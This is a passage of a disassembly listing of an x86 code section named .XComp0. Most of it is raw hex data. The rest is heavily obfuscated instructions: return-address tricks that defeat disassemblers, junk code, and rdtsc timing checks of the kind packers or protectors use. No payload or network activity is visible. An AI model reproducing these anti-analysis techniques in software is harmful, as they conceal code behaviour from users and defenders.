0C3A25966h, 0BECC551Bh, 0C80C42D5h, 60585A1Dh dd 310F5250h, 6161585Ah, 0BB240489h, 6CC85913h, 958B026Ah dd 5F92885h, 0ED1495FFh, 840F006Ah, 6, 2E299D8Bh, 896105F9h dd 0F927A19Dh, 0C885C705h, 105F94Eh, 0F000000h, 5096D7B7h dd 12E9h, 1DAC4700h, 0AFDBFF81h, 744B6F92h, 0BBE210CAh dd 5BAF41D4h, 12E950h, 3E140000h, 0E182B9Eh, 0F16E765h dd 6FFEC162h, 0C541CA27h, 52006A96h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0B9534581h dd 5D203572h, 3BB6652h, 9D8B5AD3h, 5F90655h, 4E79B589h dd 958B05F9h, 5F92BB1h, 1785BD83h, 0F0105F9h, 4C85h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 43B27637h, 21409D3Ah, 12CDBD89h, 5E905F9h, 0C9000000h dd 295110AFh, 0F05F883h, 1085h, 810F00h, 0B8000000h, 0 ; --------------------------------------------------------------------------- sbb bx, 0CB14h cmp dword ptr [ebp+5F91021h], 0 jz loc_570812 xor [ebp+5F912B9h], edx pusha stc call dword ptr [ebp+5F91021h] sbb dx, 41CBh popa push 0 push ebx call sub_5707F5 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5707F5 proc near ; CODE XREF: .XComp0:005707EDp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5707F5 endp ; --------------------------------------------------------------------------- db 33h, 38h, 92h dd 3850FF2h, 0F000000h db 0BFh, 0DAh ; --------------------------------------------------------------------------- loc_570812: ; CODE XREF: .XComp0:005707D0j cmp dword ptr [ebp+5F90151h], 0 jz loc_570831 jb loc_570827 mov bl, 7Bh loc_570827: ; CODE XREF: .XComp0:0057081Fj mov eax, 0 mov ebx, 52C4B313h loc_570831: ; CODE XREF: .XComp0:00570819j pusha push 0 push ecx call sub_57083D and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57083D proc near ; CODE XREF: .XComp0:00570835p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_57083D endp ; --------------------------------------------------------------------------- adc dl, [ecx] xchg eax, edx xchg eax, ecx fdiv qword ptr [eax-65h] mov dh, 0A5h adc ebx, 1959E1ECh mov eax, [ebp+5F91151h] jmp loc_57087A ; --------------------------------------------------------------------------- mov al, 94h lea eax, [edx+3138EC0h] dec esp mov ds:0E13B14F8h, al retf 177Bh ; --------------------------------------------------------------------------- lodsb loc_57087A: ; CODE XREF: .XComp0:00570862j add eax, 2 push 0 push ebx call sub_570888 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_570888 proc near ; CODE XREF: .XComp0:00570880p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_570888 endp ; --------------------------------------------------------------------------- dd 0C780B911h, 2880F7Ah, 0B2000000h, 71858988h, 0BA05F94Eh dd 6E2AACCAh, 0D058D29h, 0C605F9h, 0C6F48AFFh, 0F9189985h dd 6A5305h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 87F21AC3h, 9D8BF530h, 5F91461h, 68DFBF0Fh dd 0C8581EB2h, 11BE6052h, 6118E49Ah, 2434815Ah, 34E9566Ah dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 74C35040h dd 0E971642Fh, 0B5892E23h, 0FFD78B66h, 0F908D1B5h, 0BD8D2905h dd 8D05F92Ch, 0FCC51085h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0A66D42FCh dd 80C5BAFDh, 18719D89h, 0D0FF05F9h, 8BD18B66h, 0F9116D9Dh dd 0ED858905h, 0F05F91Ah, 958BD8B7h, 5F92CBDh, 2DF5BD83h dd 0F0105F9h, 0B185h, 8061FC00h, 85C65EDEh, 5F91899h, 25B58945h dd 6805F911h, 8374CB92h, 52505250h, 10E9h, 0CC52EB00h dd 4A18272Dh, 9954358Eh, 572E8969h, 8B310F91h, 0F585AD6h dd 0BE666031h, 5A61BDA8h, 24348158h, 5914F350h, 3117BB66h dd 8D1B5FFh, 6A05F9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0BD89A7C3h, 5F9204Dh, 0C510858Dh dd 0F6005FCh, 0FF61C8B7h, 53006AD0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0D1555E79h dd 0B79A30E6h, 6A3276h, 8B5BB3BAh, 80D0FF42h, 0BD830DEBh dd 5F91859h, 0BD850F01h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 6384C351h dd 802723B0h, 858B6BEFh, 5F91151h, 76E9F9h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0C36D21C3h, 181FE24Ch, 0A19D8BD2h, 5005F903h, 4895A51h dd 49BA6624h, 6A146AC9h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0D40DC350h, 0CF374063h dd 74BB8143h, 0FF15FBB8h, 0F91AED95h, 0BE905h, 9AD50000h dd 0AF5AA0DAh, 8C9D4E5Bh, 0DD8A585Fh, 0F003880h, 0FFFFAA85h dd 41958BFFh, 0C605F92Eh, 9D8B0100h, 5F92505h, 0BD83F861h dd 5F929C9h, 62840F00h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 890AC355h dd 0F919759Dh, 0F8FF6A05h, 1AED95FFh, 6A05F9h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0BF2F55C3h, 0FFFFD4E9h, 0CE8FFh, 0E8900000h, 8C82846Dh dd 3AF0735Ah, 0DF8B200Ch, 0C985C75Bh, 105F929h, 66000000h dd 0BE4E281h, 11198529h, 858905F9h, 5F94E7Dh, 20418D89h dd 0BE905F9h, 5000000h, 2CCDBDBAh, 9E531410h, 0E850FA26h dd 8, 50801526h, 0DA82D2E3h, 5B5B5251h, 2404895Bh, 7E9h dd 6E05E200h, 0FCC26F33h, 27418589h, 896005F9h, 0F914099Dh dd 0BD9D0B05h, 6A05F910h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0C61C3944h dd 8DD8B70Fh, 0F94E9585h, 0D5958B05h, 5005F908h, 0DD93BB66h dd 2B240489h, 0F932C595h, 85858D05h, 6A05F94Eh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 9E57C352h, 50FCE002h, 11E8h, 0FBA22100h, 2B75C4BDh dd 0CF3CFCA9h, 0FF159F7Eh, 5760B50Fh, 0F52505Fh, 61585A31h dd 2404895Bh, 0FA59D8Bh, 9D8B05F9h, 5F92CD1h, 225995FFh dd 0AE905F9h, 0BD000000h, 0BDA8689Eh, 96F7BB63h, 0CE8D8DADh dd 6A05F97Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 5BABC356h, 0BFF311Ah, 141B547Fh dd 6CA8166h, 74C00B73h, 95858D11h, 5005F94Eh, 8589D1FFh dd 5F94EB3h, 85C70AEBh, 5F94EB3h, 0FFFFFFFFh, 0D5958B52h dd 5B05F903h, 5E9h, 33935000h, 0D18AFD62h, 5E861h, 37C70000h dd 89B560CCh, 0F900059Dh, 85C65B05h, 5F91899h, 56006A4Dh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0CE919h, 9B60000h, 0DEB772D3h, 1B920399h, 666073BAh dd 6128C3B9h, 2001958Bh, 4E805F9h, 0A8000000h, 50A43576h dd 7E86052h, 0B6000000h, 7A041FBEh, 0BF5B060Fh, 22A4C464h dd 5A310F61h, 0BE85058h, 0C4000000h, 0EEE48CF4h, 0FACF1892h dd 0E9522297h, 0Bh, 0C95D75AEh, 0D16C54F2h, 5B67A53Fh dd 24448B5Ah, 5830F04h, 0BB000000h, 5E6758BEh, 8B66008Bh dd 244489DEh, 0DF8B6604h, 0B1BD8958h, 0FF05F928h, 0F90A41B5h dd 2850F05h, 8A000000h, 10858DDAh, 6605FCC5h, 0D0FFD78Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 72C35747h dd 20688662h, 7811B8D6h, 9258589h, 0BA6605F9h, 85C6D905h dd 5F91899h, 219D8B45h, 6805F91Fh, 2E250AA6h, 48165B7h dd 4D5EC324h, 759D2360h, 2B05F910h, 0F911F19Dh, 0D1B5FF05h dd 6605F908h, 0BAA7DB81h, 0C510858Dh, 0D08B05FCh, 0D680D0FFh dd 69858942h, 6605F907h, 4DCBEB81h, 0AE9D28Bh, 0B0000000h dd 56CF24D5h, 797EA1CEh, 0D98C669Fh, 4ADEB81h, 0C1F6120Fh dd 48840F04h, 0F000002h, 38Fh, 0DFBF0F00h, 113E9h, 69B58B00h dd 8105F905h, 37143AC2h, 80C6817Ah, 6A000011h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0D990C352h, 8370F916h, 0F91825BDh, 850F0005h, 30h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 10C35646h, 8E2A84D5h dd 8C3E12D5h, 0A1E9B6h, 85290000h, 5F9171Dh, 0F003E83h dd 9284h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 74BEDD31h, 3A0B7CBFh, 13BA6615h dd 6A607Dh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 0BD2943C3h, 5F92041h, 0FFFC146Ah, 0F91AED95h dd 68A0F05h, 8B000000h, 0F9266595h, 0E9506005h, 0Ah, 3AC46CB9h dd 98E737E8h, 815B4B3Ch, 0BCAE1FEBh, 0F616128h, 883h, 28D0F00h dd 8B000000h, 0FF6AE9D8h, 8166FFFFh, 0C739FAEAh, 106h dd 0DA8B6600h, 4E7DBD83h, 0F0505F9h, 11A85h, 0D3EA8100h dd 8B74A446h, 0F90769B5h, 0D38B6605h, 64B9h, 8E900h, 54170000h dd 0F76D6D33h, 3E806788h, 1D840FE8h, 60000000h, 198DBD29h dd 816605F9h, 61E1B0E8h, 35E9h, 71CA8100h, 66100999h, 16BFDB81h dd 0C2057E80h, 7C840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 66F8F4C3h, 6A46FD4Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 89B7C350h, 0F919BDB5h, 0DABF0F05h, 83850F49h dd 8BFFFFFFh, 0F928919Dh, 71E905h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 9F70A0C3h dd 34C19589h, 0B58905F9h, 5F92099h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 30C35343h, 521BEA15h, 57DA0BDCh dd 0C99D8B9Dh, 8905F907h, 0F912AD95h, 11E905h, 40D40000h dd 40B5D8FEh, 0D3BBBFC9h dd 3D8287E4h, 586D3AB3h, 0DF693FBBh, 0A5BD8337h, 5F90Dh dd 143840Fh, 0D68B0000h, 50006A60h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 51C15FB9h, 8AD0FE08h dd 9985C6F1h, 5405F918h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 43C35242h, 0A58501F1h, 0E805F91Eh, 4 dd 0FF4EBEF4h, 8B666050h, 0D78B66CFh, 24448B61h, 8B62B304h dd 89DA8B00h, 51042444h, 52505250h, 585A310Fh, 14E8310Fh dd 9000000h, 9237AD0Ah, 9A689087h, 34913AFFh, 0E7A637D1h dd 5A866181h, 585B585Ah, 0EE9h, 2910D700h, 0A9B4686Ah dd 0D7B05777h, 52E94841h, 0CED958Bh, 0FF5B05F9h, 0F908D1B5h dd 55BD8905h, 0F905F927h, 0C510858Dh, 0C28105FCh, 1F2710F7h dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 413C6EC3h, 8D0EF047h, 0BB6664E6h, 958BB30Dh dd 5F90481h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0FE220BC3h, 0EAB0344Ah, 0DA5B5FFh dd 0BD8905F9h, 5F9293Dh, 7E9D0FFh, 2C000000h, 94CE339Fh dd 896158F3h, 0F92E19BDh, 5985C705h, 105F911h, 89000000h dd 0F900198Dh, 9D8B6005h, 5F927E5h, 53EB2E68h, 870F60C9h dd 2, 0E8575F50h, 10h, 2092068Ah, 0BD2DB2D0h, 8F624516h dd 0B2A4892Fh, 81615B5Ah, 15522404h, 0BA6636ACh, 0FF6A23DBh dd 10840Fh, 0BE90000h, 42000000h, 8448F64Fh, 39B6D77Fh dd 95FFB40Eh, 5F92491h, 12E9h, 96EB4F00h, 0F7A6C779h, 41DF9Bh dd 0D84F64FDh, 61E06D2Ch, 6840Fh, 958B0000h, 5F924A1h dd 52505090h, 310F50B3h, 66D18B60h, 6118B8BAh, 6A90585Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 1786C357h, 2EE1858Bh, 0A7B205F9h, 840FC00Bh dd 12h, 11C99529h, 95FF05F9h, 5F91E85h, 7B1B589h, 85C705F9h dd 5F917E5h, 1, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 92C35343h, 0F50F146h, 18Ah, 895AF800h, 0F91F59B5h dd 11BD8305h, 5F910h, 37840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 87A01DC3h dd 399D23CEh, 8105F934h, 0BD0CE9E3h, 0F195FF68h, 8905F921h dd 0F9330D95h, 1DBD8305h, 5F918h, 12840Fh, 0BA660000h dd 0B5894531h, 5F90489h, 249995FFh, 0D18B05F9h, 45BD83h dd 0F0005F9h, 1C84h, 0E8BB6600h, 0E1BD8378h, 5F90Ah, 0B850Fh dd 0FFF80000h, 0F905D195h, 42BB6605h, 0D5BD8346h, 5F924h dd 43840Fh, 0BB660000h, 958B35E9h, 5F914B9h, 28E98581h dd 400305F9h, 81F50000h, 0F915DD85h, 400305h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0B6DCAF45h, 0BF0FFF60h, 6A310FD8h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0C477C352h dd 0FBDDFE7h, 8D8DD7B7h, 5F95DBFh, 243CF381h, 1890D4Ah dd 19C5958Bh, 0C23305F9h, 648A7ABBh, 4418951h, 5472BA66h dd 958B310Fh, 5F92BDDh, 5DCA8D8Dh, 0BE805F9h, 73000000h dd 0C7A35ADCh, 565A01A0h, 0F6BBE3A3h, 5B6BB3FCh, 0BF0F0189h dd 6AC233DFh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 135EC351h, 0AEBB7613h, 891892E4h dd 9D8B0441h, 5F921F9h, 208DBD83h, 0F0005F9h, 1A84h, 25BD8900h dd 6005F900h, 2880Fh, 61600000h, 5195FF61h, 6605F90Fh dd 83FECCBBh, 0F90C1DBDh, 850F0105h, 57h, 20659529h, 4CE905F9h dd 60000000h, 0BC4891B8h, 0A0B9664Fh, 0B58B612Fh, 5F95ED1h dd 6C7h, 0B58B0000h, 5F95D1Ch, 6C7h, 6ACF0000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 3B8CC352h, 123CAB9h, 0DA8BE47Bh, 83F0CA80h, 0F917E5BDh dd 840F0005h, 181h, 38A0Fh, 0C2800000h, 0A9BD830Dh, 105F917h dd 137850Fh, 9D8B0000h, 5F91EF1h, 4E718D8Bh, 6A05F9h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 958929C3h, 5F9150Dh, 6A0001C6h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 8BF7C357h dd 719D8BC4h, 6005F904h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 84C35141h, 384AAA9Bh, 14E9h, 96A8000h dd 9948D15Fh, 5778ADC5h, 0A032C32Bh, 6FD42942h, 0A51768DDh dd 0BE9CA45h, 9B000000h, 54967C3Ch, 2DA5AD60h, 48184E6h dd 0BA5B6924h, 56006A35h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0FF4EAD6Bh, 0DF8B664Eh dd 6A9FCF80h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 95FF5EB8h, 5F92491h, 3810Fh, 8B660000h dd 0B70F61D9h, 0BD95FFD0h, 5205F931h, 68A0Fh, 9D310000h dd 5F921E1h, 718D8B5Bh, 0F05F94Eh, 487h, 0CEBB6600h, 6001FE1Eh dd 13B98589h, 0B58905F9h, 5F91645h, 3DBD8361h, 105F934h dd 27850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 64323FC3h, 3CB8BB60h, 0D68B30BDh dd 6AC08B61h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0EE95C357h, 0C56554B1h, 8E9E261h dd 28000000h, 0AA8EF9DCh, 8BBB7CCFh, 0C9BD83DEh, 5F931h dd 0BD830975h, 5F912B5h, 501A7400h, 8BC08B53h, 0F928E985h dd 0E9858905h, 8D05F928h, 0FBF3849Dh, 5BD3FF05h, 0B5BD8358h dd 5F912h, 53501874h, 28E9858Bh, 858905F9h, 5F928E9h, 0F0739D8Dh dd 0D3FF05FBh, 9D89585Bh, 5F91891h, 5E9h, 356F1C00h, 0C08B887Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9FC35747h dd 0DBB6F9F4h, 0D6B70F14h, 10E9h, 0CD51AC00h, 0E80A0298h dd 7CD2AD27h, 0CA7E00ACh, 0E5BD8342h, 5F917h, 2D850Fh dd 850F0000h, 2, 0BD83DF8Bh, 5F90D09h, 18840F00h, 0E9000000h dd 13h, 34EF1E78h, 139BBBC7h, 0C941669Eh, 0BFB4C6AEh, 83FF93BCh dd 0F917E5BDh, 840F0005h, 4Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 21C35646h, 93CE38AFh, 0E8717391h dd 9, 283793h, 3BBCA79Ah, 0B4605A09h, 0B9BD8922h, 6105F905h dd 3499BD83h, 0F0005F9h, 684h, 9D958B00h, 8305F919h, 0F917E5BDh dd 840F0005h, 39h, 4850Fh, 0BA660000h, 0BD839BA1h, 5F93499h dd 22840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 68D3C352h, 8B66C687h dd 0E5BD83D0h, 5F917h, 34840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 4A0BECC3h dd 9D29F2BFh, 5F920D9h, 395BD83h, 0F0005F9h, 184h, 0BD83F800h dd 5F917E5h, 59840F00h, 0F000000h, 480h dd 0F6BB6600h, 0B5BD837Ah, 5F928h, 42840Fh, 12E90000h dd 1F000000h, 9AD9BC0Dh, 0BC830416h, 0D99C61F7h, 84A42B3Ah dd 0DEB70F1Bh, 288D95FFh, 6A05F9h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 0EC2771C3h, 0D3329C64h dd 6E9C08Bh, 0E1000000h, 0B43F5A50h, 0C9BD83A6h, 5F931h dd 0BD830975h, 5F912B5h, 501A7400h, 8BC08B53h, 0F915DD85h dd 0DD858905h, 8D05F915h, 0FBF3EB9Dh, 5BD3FF05h, 0B5BD8358h dd 5F912h, 53501874h, 15DD858Bh, 858905F9h, 5F915DDh, 0F08C9D8Dh dd 0D3FF05FBh, 8B0F585Bh, 1, 0FE9F9h, 0F9EC0000h, 7C6157FEh dd 9746045h, 0E3C21471h, 6AC08BC4h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0EF20C351h dd 0DC9F6FA6h, 0E5BD83F5h, 5F917h, 4BF840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 35B1B1C3h, 0F5BD832Dh, 205F92Dh, 40840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 839EF1C3h, 0F90C1DBDh, 850F0105h, 16h, 108D0Fh, 0BE90000h dd 7C000000h, 740082B0h, 787C9E69h, 8960756Ch, 0F9171DBDh dd 0D78B6605h, 4E718D8Bh, 950B05F9h, 5F90CB5h, 890F01FEh dd 6, 0E6E5F381h, 4E80338h, 80000000h, 0B3000000h, 525250A6h dd 5A5BDE8Ah, 424448Bh, 4751BB66h, 5250008Bh, 58A0Fh, 0ACBA0000h dd 0F0DDA56h, 0B1BB6631h, 89585A27h, 66042444h, 6A58D78Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 8983C352h, 1389BD89h, 0FF6A05F9h, 95FF64B3h dd 5F92491h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 2FC35747h, 0B682D6AAh, 168E0Fh, 0AE80000h, 48000000h dd 301CC3BDh, 9F6096B0h, 4D958BC7h, 5A05F911h, 56006A61h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 3FBE563Fh, 91F7EC08h, 0D9BD8D8Fh, 6A05F934h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 1A89C353h, 92C0F6B7h, 8B67CA80h, 6A1C4Fh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 19B5A3C3h dd 9D8BA17Eh, 5F91F1Dh, 28D59D8Bh, 16A05F9h, 0C1816660h dd 61F8388Ch, 0D0BA6650h, 240C8978h, 11E9h, 0D3465400h dd 0E717AC41h, 16F08B8h, 0C65BA70Fh, 858DED9Fh, 5FC7A08h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 48C35646h dd 7AD3F14Ch, 8D09CCE4h, 5F914B9h, 6AD0FFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0EE9174C3h dd 45236EF5h, 1840Fh, 8BF80000h, 0F913B195h, 204F8B05h dd 0EDCA8166h, 6ADA8A65h, 55006A03h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 27608E0Fh dd 9E95095h, 0F5000000h, 47220A5Ch, 85110F9Bh, 0E9240C89h dd 12h, 0ADB5CF59h, 9FF160E8h, 0ED20A56Eh, 9F26BD7Dh, 8DFC3C0Dh dd 0FC7A0885h, 5880F05h, 66000000h, 3472D381h, 9D8BD0FFh dd 5F92B59h, 34D9BD8Dh, 6A05F9h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 8918A9C3h, 0F91219BDh dd 0DDC68005h, 6A1C4F8Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 0AFE9C356h, 0E59C6D30h dd 2EDC874Eh, 1585958Bh, 16A05F9h, 5EC7E281h, 60916E12h dd 5061F08Ah, 28C0Fh, 15B60000h, 0CE991h, 866A0000h, 986956A0h dd 6F0B8F1Eh, 9E83E6Ah, 5E000000h, 0EC4D144Ah, 0E7C998CAh dd 6B45BA66h, 8858D5Ah, 6A05FC7Ah, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 5F9C352h dd 0A0B182B3h, 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 27839DC3h, 890C9C1Eh, 0F90D9D95h dd 6D958905h, 8B05F931h, 9D2B204Fh, 5F91FE5h, 0ACBB036Ah dd 504456E4h, 0BA665250h, 310F07FFh, 0C89585Ah, 0F18D8924h dd 8D05F91Ah, 0FC7A0885h, 800F5005h, 6, 6619D0Bh, 0FF5A05F9h dd 50006AD0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 5E9A9h, 0C6350000h, 8BE92941h, 0F94E718Dh dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 6660C52Fh, 0D3EAD881h, 1E39B509h, 0FE6105F9h dd 2F78001h, 4E71858Bh, 816605F9h, 0FE3F33DBh, 6ADA8B00h dd 0DD958901h, 0E805F914h, 4, 0FFFF9FFFh, 13E9h, 0B1C38000h dd 0A4A79217h, 637F70C0h, 1247837Dh, 0C2FA0048h, 840F6050h dd 6, 8A0Fh, 0C7B80000h, 61478C46h, 424448Bh, 0BA665250h dd 310F6E14h, 0E05DBFBAh, 8B585A4Dh, 66516000h, 5E4D42B9h dd 61605250h, 6160310Fh, 8961585Ah, 0B6042444h, 8E958D2h dd 1F000000h, 7B64A983h, 8D7DD939h, 0FC7A1285h, 0FD0FF05h dd 488h, 25BB6600h, 9BD8345h, 5F90Dh, 0F4840Fh, 0BD830000h dd 5F91785h, 0E7850F01h, 0E8000000h, 9, 39173E3Fh, 0D6223FDh dd 0EE961h, 13830000h, 14BD4BA6h, 62340C6Eh, 6027C68h dd 1C8D8D5Bh, 0BB05FC7Ah, 45263FC7h, 0CE9036Ah, 0F5000000h dd 0CE945B8Dh, 0CFE8E277h, 8B0379CAh, 0F91AC59Dh, 51016A05h dd 49850B60h, 2905F900h, 0F91111B5h, 0FF5B6105h, 57006AD1h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 890FBB9Ch, 6, 2231B589h, 16A05F9h, 6A016AF9h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0F063C355h, 898A24CAh, 6860F89h, 89000000h, 0F916559Dh dd 81D1FF05h, 0F4CE22E3h, 6D45E811h, 820FFA62h, 5, 96F103BBh dd 14E956h, 823B0000h, 149BDEE9h, 3D4616BCh, 5A0A04AFh dd 85849E81h, 206A9781h, 0E993BB66h, 0F281FF6Ah, 78EE38FBh dd 249195FFh, 6A05F9h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 491DA4C3h, 0B0A188E1h, 0B8E6B1h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 1A26C357h, 0EF11191Eh, 2B6F3041h dd 0F900B195h, 0DBD2905h, 0B05F908h, 41840FC0h, 81000000h dd 0A5F3B9CBh, 8374B743h, 0F913EDBDh, 840F0005h, 2Ch, 95FF0CB6h dd 5F907E1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0A4C35646h, 9D8BACBFh, 5F90DBDh, 1151858Bh, 816605F9h dd 0C6C0C7DBh, 958B0000h, 5F921BDh, 0E858DE8Bh, 0Bh, 1B65EA77h dd 4FBEE627h, 0FB78012h, 680h, 859D0300h, 5B05F914h, 0E8D98C66h dd 0Ah, 8608892Bh, 0B7A60756h, 9D8B1AB2h, 5F921F5h, 4C1F65Bh dd 73840Fh, 952B0000h, 5F92469h, 68E9h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 296676D3h, 0F780CB10h, 69B58B07h, 8A05F905h, 80C681D1h dd 66000011h, 6C7DA8Bh, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5720AF and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5720AF proc near ; CODE XREF: .XComp0:005720A7p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5720AF endp ; --------------------------------------------------------------------------- das dec ebp db 65h, 64h aaa inc ebx mov edx, [ebp+5F92CB1h] add ebx, 123E4E96h pop esi mov edx, [ebp+5F90D59h] cmp eax, 0 jz loc_572C3D mov [ebp+5F91775h], ecx cmp eax, 1 jnz loc_57227C push 0 push esi call sub_5720FB and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5720FB proc near ; CODE XREF: .XComp0:005720F3p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5720FB endp ; --------------------------------------------------------------------------- popa cmp eax, 0B2BEB310h das mov eax, 0 push 0 push edx call sub_572122 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572122 proc near ; CODE XREF: .XComp0:0057211Ap arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_572122 endp ; --------------------------------------------------------------------------- pop ebx setalc xchg eax, ecx fmul dword ptr [esi+3Ch] or [ebp+5F92551h], ebx or eax, eax jz loc_572200 mov bl, 72h cmp eax, 1 jz loc_57222E mov ebx, [ebp+5F91241h] cmp eax, 3 jz loc_5721A9 mov edx, [ebp+5F90C79h] mov eax, 0 jns loc_572177 mov [ebp+5F92B71h], ecx loc_572177: ; CODE XREF: .XComp0:0057216Bj lea edi, dword_5B89E0[ebp] mov edx, [ebp+5F90FB1h] jmp edi ; --------------------------------------------------------------------------- push 0 push esi call sub_572190 and [esi-3Dh], bl ; =============== S U B R O 